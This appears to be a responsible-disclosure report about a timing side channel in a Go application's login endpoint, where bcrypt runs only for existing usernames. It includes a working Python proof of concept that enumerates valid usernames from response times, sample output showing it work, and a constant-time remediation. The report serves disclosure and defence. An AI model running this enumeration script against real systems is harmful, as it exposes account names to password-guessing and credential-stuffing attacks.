Summary

The /api/auth/login authentication endpoint does not execute in constant time. When a non-existent username is supplied, the server returns a 401/403 response almost immediately. When a valid username is provided, the server performs a bcrypt password comparison causing a measurable delay in the response time.

Details

The vulnerability exists in the Auth function of JSONAuth in auth/json.go (lines 45-52). The function performs a database lookup for the user prior to performing any password validation.

user, err := userStore.Get(username)
	if err != nil {
		return nil, fmt.Errorf("unable to get user from store: %v", err)
	}
	err = users.CheckPwd(password, user.Password)
	if err != nil {
		return nil, err
	}

If the username is not found, the function returns an error immediately. If the username is found, the function calls CheckPwd, which executes the bcrypt hash comparison. Because bcrypt is intentionally computationally expensive, this introduces a measurable delay in the response time.

As a result, an attacker can distinguish valid usernames from invalid ones by measuring the authentication response times.

In testing, responses for valid usernames consistently required ~40–50ms due to the bcrypt comparison, while invalid usernames returned in ~1–4ms.

PoC

The script below automates this attack by calibrating the network latency using non-existent usernames to establish a baseline and then tests a list of target users. Valid usernames are detected when the response time exceeds the baseline.

import requests
import time
import statistics

# Configuration - adjust domain and wordlist as appropriate
TARGET_URL = "http://localhost/api/auth/login"
WORDLIST = ["admin", "root", "user2", "nonexistent_test_user"] 

def measure(username):
    start = time.perf_counter()
    requests.post(TARGET_URL, params={"username": username}, headers={"X-Password": "wrong-password"})
    return time.perf_counter() - start

# 1. Baseline Calibration
print("[*] Calibrating...")
baselines = [measure(f"not_a_user_{i}") for i in range(20)]
threshold = statistics.mean(baselines) + (statistics.stdev(baselines) * 5)
print(f"[*] Baseline: {statistics.mean(baselines):.4f}s | Threshold: {threshold:.4f}s")

# 2. Validation Test
for user in WORDLIST:
    t = measure(user)
    status = "VALID" if t > threshold else "invalid"
    print(f"{user:<15} | {t:.4f}s | {status}")

Example(In my instance I have both admin and user2 as valid users in the application):

$ python timeattack.py                                  
[*] Calibrating...
[*] Baseline: 0.0041s | Threshold: 0.0256s
admin           | 0.0505s | VALID
root            | 0.0019s | invalid
user2           | 0.0464s | VALID
nonexistent_test_user | 0.0015s | invalid

Impact

An unauthenticated attacker can enumerate valid usernames by measuring authentication response times. Identified accounts can then be targeted for assword-guessing attackes, credential-stuffing, or social engineering.

Remediation

Ensure authentication routing executes in constant time regardless of whether the username exists. A common approach is to perform a bcrypt comparison against a static dummy hash when the username lookup fails, ensuring both code paths incur the same computational cost.

Example concept:

dummyHash := "$2a$12$examplehash..."
bcrypt.CompareHashAndPassword(dummyHash, []byte(password))

Please let me know if you need any additional information or clarification.
I'm happy to assist with testing or validating a fix.